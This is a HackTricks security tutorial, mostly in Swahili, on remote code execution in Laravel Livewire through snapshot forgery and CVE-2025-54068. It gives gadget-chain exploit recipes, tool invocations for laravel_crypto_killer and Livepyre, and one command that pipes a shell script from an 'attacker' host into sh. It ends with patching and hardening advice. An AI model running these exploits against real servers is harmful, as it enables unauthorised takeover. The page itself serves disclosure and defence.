Laravel Livewire Hydration & Synthesizer Abuse

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Muhtasari wa mashine ya hali ya Livewire

Komponenti za Livewire 3 hubadilishana hali zao kupitia snapshots ambazo zinajumuisha data, memo, na checksum. Kila POST kwa /livewire/update inafufua snapshot ya JSON upande wa seva na inatekeleza calls/updates zilizo kwenye foleni.

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

Mtu yeyote anayeimiliki APP_KEY (inayotumika kutoa $hashKey) anaweza kwa hiyo kutengeneza snapshots za namna yoyote kwa kuhesabu tena HMAC.

Mali tata zimepakwa kama synthetic tuples zinazotambuliwa na Livewire\Drawer\BaseUtils::isSyntheticTuple(); kila tuple ni [value, {"s":"<key>", ...meta}]. Msingi wa hydration unawapelekea kila tuple kwa synth iliyochaguliwa katika HandleComponents::$propertySynthesizers na kurudia kwa watoto:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

Ubunifu huu wa kurudia unafanya Livewire kuwa mashine ya jumla ya kuanzisha vitu mara mwuaji anapodhibiti ama metadata ya tuple au tuple yoyote iliyopo ndani inayosindikwa wakati wa recursion.

Synthesizers zinazotoa gadget primitives

SynthesizerTabia inayoendeshwa na mwuaji
CollectionSynth (clctn)Inaunda mfano wa new $meta['class']($value) baada ya kurehydrate kila mtoto. Darasa lolote lenye constructor ya array linaweza kuanzishwa, na kila kipengee kinaweza kuwa tuple ya synthetic yenyewe.
FormObjectSynth (form)Huiita new $meta['class']($component, $path), kisha inateua kila public property kutoka kwa watoto wanaodhibitiwa na mwuaji kupitia $hydrateChild. Constructors zinazoruhusu vigezo viwili visivyoimarishwa (au args za default) zinatosha kufikia public properties yoyote.
ModelSynth (mdl)Wakati key haipo kwenye meta inatekeleza return new $class; kuruhusu kuanzishwa bila hoja (zero-argument) ya darasa lolote lililodhibitiwa na mwuaji.

Kwa sababu synths huuita $hydrateChild kwenye kila elementi iliyoko ndani, grafu za gadget zisizo na kikomo zinaweza kujengwa kwa kupandisha tuples kwa njia ya kurudia.

Forging snapshots when APP_KEY is known

  1. Rekodi ombi halali la /livewire/update na decode components[0].snapshot.
  2. Weka nested tuples zinazoelekeza kwa gadget classes na rudi compute checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY).
  3. Re-encode snapshot, uache _token/memo bila kuguswa, kisha replay ombi.

Proof of execution ndogo inatumia Guzzle’s FnStream na Flysystem’s ShardedPrefixPublicUrlGenerator. Tuple moja inaunda FnStream na data za constructor { "__toString": "phpinfo" }, nyingine inaunda ShardedPrefixPublicUrlGenerator na [FnStreamInstance] kama $prefixes. Wakati Flysystem inapogeuza kila prefix kuwa string, PHP inaitea callable ya __toString iliyotolewa na mwuaji, ikiwaita functions yoyote bila hoja.

Kutoka kwa function calls hadi RCE kamili

Kwa kutumia primitives za instantiation za Livewire, Synacktiv walibadilisha mlolongo wa phpggc Laravel/RCE4 ili hydration ianze object ambayo hali yake ya public Queueable inachochea deserialization:

  1. Queueable trait – object yoyote inayotumia Illuminate\Bus\Queueable inaonyesha public $chained na inatekeleza unserialize(array_shift($this->chained)) katika dispatchNextJobInChain().
  2. BroadcastEvent wrapperIlluminate\Broadcasting\BroadcastEvent (ShouldQueue) inaundwa kupitia CollectionSynth / FormObjectSynth na public $chained imejazwa.
  3. phpggc Laravel/RCE4Adapted – blob iliyoserializa iliyohifadhiwa katika $chained[0] huunda PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed. Signed::__invoke() hatimaye inaita call_user_func_array($closure, $args) kuruhusu system($cmd).
  4. Stealth termination – kwa kumpa callable ya pili ya FnStream kama [new Laravel\Prompts\Terminal(), 'exit'], ombi linamalizika kwa exit() badala ya exception inayotoa kelele, zikihifadhi HTTP response safi.

Automating snapshot forgery

synacktiv/laravel-crypto-killer sasa inakuja na mode ya livewire inayosona kila kitu:

./laravel_crypto_killer.py -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

Zana inachambua snapshot iliyorekodiwa, inaingiza gadget tuples, inarudisha upya checksum, na inachapisha payload tayari-kutumwa /livewire/update.

CVE-2025-54068 – RCE without APP_KEY

updates zinachanganywa katika component state baada ya snapshot checksum kuthibitishwa. Ikiwa property ndani ya snapshot ni (au inakuwa) synthetic tuple, Livewire inatumia tena meta yake wakati inahydrate attacker-controlled update value:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Exploit recipe:

  1. Pata Livewire component yenye untyped public property (mfano, public $count;).
  2. Tuma update inayoweka property hiyo kuwa []. Snapshot inayofuata sasa inaihifadhi kama [[], {"s": "arr"}].
  3. Tengeneza payload nyingine ya updates ambapo property hiyo ina array iliyozama kwa kina inayojumuisha tuples kama [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ].
  4. Wakati wa recursion, hydrate() inatathmini kila nested child kwa kujitegemea, hivyo synth keys/classes zilizochaguliwa na attacker zinaheshimiwa even though outer tuple na checksum hazikuwahi kubadilika.
  5. Tumia tena primitives za CollectionSynth/FormObjectSynth kuanzisha Queueable gadget ambayo $chained[0] ina phpggc payload. Livewire inashughulikia forged updates, inaita dispatchNextJobInChain(), na inafikia system(<cmd>) bila kujua APP_KEY.

Key reasons this works:

  • updates hazijafunikwa na snapshot checksum.
  • getMetaForPath() inaamini synth metadata ambayo tayari ilikuwepo kwa property hiyo hata kama attacker awali alikuwa ameitia kuwa tuple kupitia weak typing.
  • Recursion pamoja na weak typing inaruhusu kila nested array kutafsiriwa kama tuple mpya kabisa, hivyo arbitrary synth keys na arbitrary classes hatimaye zinafika hadi hydration.

Livepyre – end-to-end exploitation

Livepyre inautomate zote mbili: APP_KEY-less CVE na signed-snapshot path:

  • Fingerprints the deployed Livewire version kwa kuchambua <script src="/livewire/livewire.js?id=HASH"> na kuoanisha hash na releases zilizo vunerable.
  • Inakusanya baseline snapshots kwa kurudia actions zisizo hatari na kutoa components[].snapshot.
  • Inatengeneza ama updates-only payload (CVE-2025-54068) au forged snapshot (ikiwa APP_KEY inajulikana) inayojumuisha phpggc chain.

Typical usage:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check inaendesha jaribio lisilo-haribu, -F inapuuza version gating, -H na -P zinaongeza custom headers au proxies, na --function/--param hubadilisha php function inayoitwa na gadget chain.

Mambo ya kuzingatia kwa ulinzi

  • Sasisha kwenye Livewire builds zilizorekebishwa (>= 3.6.4 kulingana na vendor bulletin) na weka vendor patch kwa CVE-2025-54068.
  • Epuka weakly typed public properties katika Livewire components; explicit scalar types zinaizuia thamani za property kubadilishwa kuwa arrays/tuples.
  • Sajili tu synthesizers unazohitaji kweli na chukulia user-controlled metadata ($meta['class']) kama isiyoaminika.
  • Kataa updates zinazobadilisha JSON type ya property (mfano, scalar -> array) isipokuwa imekubaliwa wazi, na re-derive synth metadata badala ya kutumia tena tuples zilizozeeka.
  • Zungusha APP_KEY haraka baada ya disclosure yoyote kwa sababu inaiwezesha offline snapshot forging bila kujali jinsi code-base imepatched.

References

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks